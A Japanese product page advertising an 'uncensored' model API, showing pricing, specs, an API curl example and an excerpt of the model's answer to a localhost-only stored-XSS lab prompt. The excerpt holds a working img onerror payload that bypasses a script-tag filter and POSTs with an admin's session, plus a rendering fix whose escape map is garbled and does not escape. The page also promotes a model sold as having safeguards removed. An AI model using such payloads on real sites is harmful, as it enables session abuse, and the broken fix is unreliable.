Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
GLM-5.3 Uncensored
glm-5.3-uncensoredブラウザのチャットと OpenAI 互換 API で利用できます。
トークン料金
100万トークン当たりのUSD料金
- 入力 / 1M
- $0.350
- キャッシュ / 1M
- $0.100
- 出力 / 1M
- $0.350
モデル仕様
Zhipu AI · 無検閲
- コンテキストウィンドウ
- 1,000,000 トークン
- 最大出力
- 65,536 トークン
- 機能
- テキスト · ストリーミング · ツール呼び出し
実測性能
- 平均トークン/秒
- ≈ 33.7
- TTFT 推定値
- 2.4 s
- 稼働率の参考値
- 99.2%
更新 2026/11/01 20:36:37 UTC · プロバイダーの 24 時間成功率 · ダッシュは最新の測定データが不足していることを示します。
モデルの回答を見る
localhost 専用ラボの 保存型 XSS に関する質問への実際の回答です。元の質問と回答は英語です。出力はテキストとして表示され、このページでは例のコードを実行しません。
GLM-5.3 Uncensored
記録したモデルの回答 · 2026/10/28 19:07 UTC
記録した回答からの抜粋です。一部を省略しています。
Malicious comment (submit via the form):
<img src=x onerror="fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED IN THE LAB',credentials:'same-origin'})">Why it works: The filter strips <script> tags, but <img> with onerror fires when the broken image loads. The admin's cookie (set by the page) is automatically sent with fetch via credentials: 'same-origin', authenticating the POST.
Reproduce:
node server.js
# Browser: http://localhost:3000
# Paste the malicious comment, submit
# Simulated admin visits /admin
# Payload fires → POST /admin/banner with fake session cookie
# Server console shows: [ADMIN] Banner set to: OWNED IN THE LABFix — safe rendering:
// Replace raw interpolation with escaping:
const esc = s => s.replace(/[&<>"']/g, c =>
({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
const rendered = comments.map(c => `<li>${esc(c)}</li>`).join('');Escaping at render-time neutralizes event handlers, script tags, and all other injection vectors. Token-based session validation (not just cookie presence) is the complementary server-side fix.
記録された例です。ライブチャットではありません。チャットを開く
API でこのモデルを使う
API キーを作成してクレジットを追加してください。環境変数 UNCENSOREDLABS_API_KEY を設定します。JavaScript または Python の例には openai パッケージをインストールしてください。
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "glm-5.3-uncensored",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI互換。ベースURLを変更するだけ。クイックスタートを読む
制限と請求
- フィルターなしでもすべての質問への回答は保証されません。回答が不正確、不完全になる場合や、拒否される場合があります。
- 最大出力は UncensoredLabs のサービス上限です。長時間の生成やコンテキスト全体を使う処理のベンチマークは未実施です。
- 要求された出力と保守的な入力上限に応じてクレジットを予約します。リクエストサイズに基づく計量が未検証のモデルではコンテキスト全体を使用します。最終料金は検証済み使用量で精算し、不確実なリクエストの予約は保持される場合があります。
- 制限時間は 10 分です。レート制限、同時実行制限、提供元の稼働状況が適用されます。API エラーには Retry-After 付きの 429 応答があります。
- UncensoredLabs はサーバー上に質問や回答を保存しません。推論提供元の保持ポリシーが適用されます。